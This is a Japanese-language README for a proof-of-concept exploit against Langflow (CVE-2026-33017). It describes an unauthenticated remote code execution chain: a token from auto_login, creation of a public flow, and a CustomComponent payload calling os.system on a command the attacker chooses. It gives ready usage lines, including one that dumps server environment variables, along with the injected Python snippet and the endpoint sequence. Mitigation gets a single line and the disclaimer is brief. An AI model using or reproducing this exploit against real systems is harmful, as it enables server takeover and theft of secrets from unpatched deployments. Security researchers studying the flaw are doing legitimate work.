
CVE ID: CVE-2026-33017
影響を受けるソフトウェア: Langflow
脆弱なバージョン: <= 1.8.2
修正バージョン: >= 1.9.0
深刻度: Critical
作成者: r3nsi15
日付: 2026
Langflow は、任意の CustomComponent コードブロックを受け入れ、認証なしでサーバー側で実行する公開フロービルドエンドポイント(/api/v1/build_public_tmp/{flowID}/flow)を公開しています。CustomComponent ノードの code フィールドに悪意のある Python ペイロードを注入することで、未認証の攻撃者は Langflow サーバープロセスの権限で任意の OS コマンドを実行できます。
攻撃チェーンはまず /api/v1/auto_login エンドポイントを悪用します。このエンドポイントは、Langflow がデフォルトの自動ログイン設定で実行されている場合、認証情報を必要とせずにベアラートークンを発行します。次に、そのトークンを使用して一時的な公開フローを作成し、ビルドエンドポイント経由でサーバー側のコード実行をトリガーします。
ファイル: CVE-2026-33017_POC.py
requests ライブラリpip install requests
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]
コード実行の確認:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"
サーバーの環境変数を取得する:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"
悪用後もフローを保持する(クリーンアップをスキップ):
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!
本エクスプロイトは、以下の Python スニペットを CustomComponent ノードの code フィールドに注入します:
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
display_name = "ExploitComponent"
outputs = [Output(display_name="Result", name="output", method="run")]
def run(self):
return "ok"
__import__('os').system(...) - os モジュールを動的にインポートし、攻撃者が指定したシェルコマンドをサーバー上で実行します。CustomComponent です。PUBLIC として作成され、ビルドエンドポイントはその公開エンドポイント上で呼び出されるため、実行をトリガーするのに セッション Cookie や認証トークンは不要 です。Langflow の CustomComponent システムでは、フロー定義の一部として任意の Python コードを送信できます。/api/v1/build_public_tmp/{flowID}/flow エンドポイントは、このコードをサーバー側でビルドし、モジュールレベルのステートメントを含めて部分的に評価します。その際、サンドボックス化や __import__ などの Python 組み込み関数へのアクセス制限は行われません。
1. GET /api/v1/auto_login → Obtain Bearer token (no credentials needed)
2. POST /api/v1/flows/ → Create a PUBLIC flow (Bearer token)
3. POST /api/v1/build_public_tmp/ → Inject & execute malicious CustomComponent (no auth)
4. DELETE /api/v1/flows/{id} → Clean up (optional)
これら4つのステップはすべて、デフォルト構成の Langflow デプロイメントに対して匿名の攻撃者が実行できます。
LANGFLOW_AUTO_LOGIN=false)。この概念実証は、教育目的および許可を得たセキュリティ研究目的のみで提供されます。明示的な書面による許可なく本スクリプトをシステムに対して使用することは、違法かつ非倫理的です。著者および貢献者は、誤用について一切の責任を負いません。
| エンドポイント | メソッド | 認証の要否 | 目的 |
|---|
/api/v1/auto_login | GET | 不要 | ベアラートークンを取得する(自動ログインが有効である必要がある) |
/api/v1/flows/ | POST | 必要(Bearer) | 新しいフローを作成する |
/api/v1/build_public_tmp/{flowID}/flow | POST | 不要(公開) | ビルドをトリガーする — 脆弱な実行ポイント |
/api/v1/flows/{flowID} | DELETE | 必要(Bearer) | 作成したフローを削除する |
| フラグ | ロングフォーム | 必須 | 説明 |
|---|
-u | --url | 必須 | Langflow インスタンスのベース URL |
-c | --command | 必須 | サーバー上で実行する OS コマンド |
-d | --delete | 任意 | 悪用後に作成したフローを削除する |